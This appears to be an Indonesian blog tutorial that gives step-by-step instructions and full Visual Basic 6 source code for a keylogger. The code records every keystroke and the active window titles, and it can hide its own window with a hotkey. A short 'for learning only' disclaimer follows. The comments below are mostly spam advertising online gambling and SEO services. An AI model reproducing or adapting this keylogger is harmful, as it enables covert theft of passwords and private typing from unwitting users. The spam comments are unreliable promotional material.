Sesuai dengan judul di atas, kali ini Ane akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan CEKIBROTTT..
- Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
- Buka program Visual Basic
- New Project Standard EXE
- Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
- Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End SubPrivate Sub Label1_Click()End SubPrivate Sub Label4_Click()End SubPrivate Sub Label6_Click()
Timer1.Enabled = True
End SubPrivate Sub Label7_Click()
Timer1.Enabled = False
End SubPrivate Sub Label8_Click()
backs = True
End SubPrivate Sub Label9_Click()
backs = False
End SubPrivate Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End SubPrivate Sub Timer1_Timer()Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”GetWindowText hForegroundWnd, Title, 1000Select Case Asc(Title)Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End SelectEnd IfExit SubKeylogger:For i = 65 To 90x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)If x = -32767 ThenIf x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End IfEnd IfNextFor i = 8 To 222If i = 65 Then i = 91x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)If x = -32767 ThenSelect Case iCase 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “End SelectEnd IfNextEnd SubPrivate Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub - Jalankan dengan menekan tombol F5
- Live demo bisa di download disini :
Selamat mencoba, Dan ingat gan ini HANYA UNTUK PROSES PEMBELAJARAN AJA YA!!!!
sundul77.com Situs Agen Bola Terbaik | Judi Casino Online | poker uang asli | Bandar Slot Terpercaya
BalasHapussundul77.com Adalah Situs Agen Bola Terbaik | Judi Casino Online | poker uang asli | Bandar Slot Terpercaya, Game Slot Mesin, Agen Sbobet, Agen Ibcbet, Agen Mansion88 sundul77 Merupakan Salah Satu Bandar Bola, Bandar Casino, Poker Online Terpercaya IDNSPORT. Kelebihan Bandar Bola Terbesar www.sundul77.com Desain Website Menarik, Live Casino Online 24 Jam Non-Stop Bersama Dealer Eropa & Dealer Asia..
Situs Agen Bola Terbaik | Judi Casino Online | poker uang asli | Bandar Slot Terpercaya, Game Slot Mesin, Agen Sbobet, Agen Ibcbet, Agen Mansion88
Bolagaming mempunyai tim berpengalaman dalam melayani setiap member yang bergabung di situs judi taruhan bola terbaik ini. Kami menyediakan customer service online 24 jam yang akan menemani anda dan membantu memberikan arahan kepada anda agar mudah saat melakukan pendaftaran. Anda bisa memilih jenis permainan judi taruhan online apa saja sesuai keinginan anda.
Ayo Bergabung Bersama Situs Judi Taruan Bola Terlengkap Bolagaming
situs agen bola terbaik,judi casino online,poker uang asli,poker uang asli,agen ibcbet
jasa seo
BalasHapusjasa seo indonesia
jasa seo terpercaya
seo indonesia
jasa seo web judi
jasa buat website
jasa pembuatan website
situs poker
agen poker terbaik
agen poker terpercaya
poker uang asli
situs bandarq
situs dominobet qq
LK21
agen bola terpercaya
judi bola online
abandar bola terpercaya
taruhan bola online
agen judi online
situs judi online
BalasHapuspoker online
agen judi bola
agen judi terpercaya dan terlengkap
judi online
liveskor
livescore
hasil pertandingan
skor pertandingan
bandar judi online
taruhan bola sbobet
agen casino indonesia
judi online
bandar taruhan bola online
Jadual bola malam ini
BalasHapusAgen bola
Judi Online
Agen Bola Online
casino online terbaik
casino online
judi online
agen casino online
judi live casino
agen judi
agen bola
situs judi
judi bola
judi online
bandar bola
bandar judi
situs taruhan
taruhan bola
taruhan online
situs judi bola
situs judi online
situs judi terpercaya
agen bola terpercaya
agen judi online
judi online terpercaya
agen judi terpercaya
bandar judi online
bandar bola terpercaya
judi bola online
agen piala dunia 2018
bandar piala dunia 2018
situs taruhan piala dunia 2018
situs judi piala dunia 2018
agen resmi piala dunia 2018
Agen togel
BalasHapusjudi togel
bandar togel online
bandar togel
togel singapura
togel online
bandar judi togel
agen togel online
judi togel online
togel sydney
togel hongkong
Agen togel
judi togel
bandar togel
bandar togel online
togel singapura
togel online
bandar judi togel
agen togel online
judi togel online
togel sydney
togel hongkong
agen poker
agen poker terbaik
agen poker terpercaya
poker uang asli
situs poker
JUDI BOLA
SBOBET
AGEN BOLA TERPERCAYA
agen bola
judi bola terpercaya
What is PUBG stream sniping? Simply defined, stream sniping is using someone else’s Twitch stream to unfairly determine the location of other players in your game. Watching someone play Battleground’s on Twitch would obviously let you know of their location at all times, which would give you an unfair advantage. Additionally, you will be able to see everyone that the streamer can see, giving you a second pair of eyes on the action. Basically, if you are playing Playerunknown’s Battleground while watching a stream of the same game you are in, you are stream sniping.
BalasHapusFor more: https://omlet.gg/game/com.tencent.ig
BalasHapusVery good article! excellent post as always i like it thank you for sharing
คาสิโนออนไลน์ที่น่าเชื่อถือและมีความเป็นมืออาชีพที่สุดในตอนนี้
โปรโมชั่นGclub ของทางทีมงานตอนนี้แจกฟรีโบนัส 50%
เพียงแค่คุณสมัคร สล็อตออนไลน์ กับทางทีมงานของเราเพียงเท่านั้น
ร่วมมาเป็นส่วนหนึ่งกับเว็บไซต์คาสิโนออนไลน์ของเราได้เลยค่ะ
สมัครสล็อตออนไลน์ >>> Goldenslot
สนใจร่วมสนุกกับ คาสิโนออนไลน์ คลิ๊กได้เลย
มีทั้งคาสิโนออนไลน์ หวยออนไลน์ ฟุตบอลออนไลน์ สล็อตออนไลน์ และอื่นๆอีกมากมาย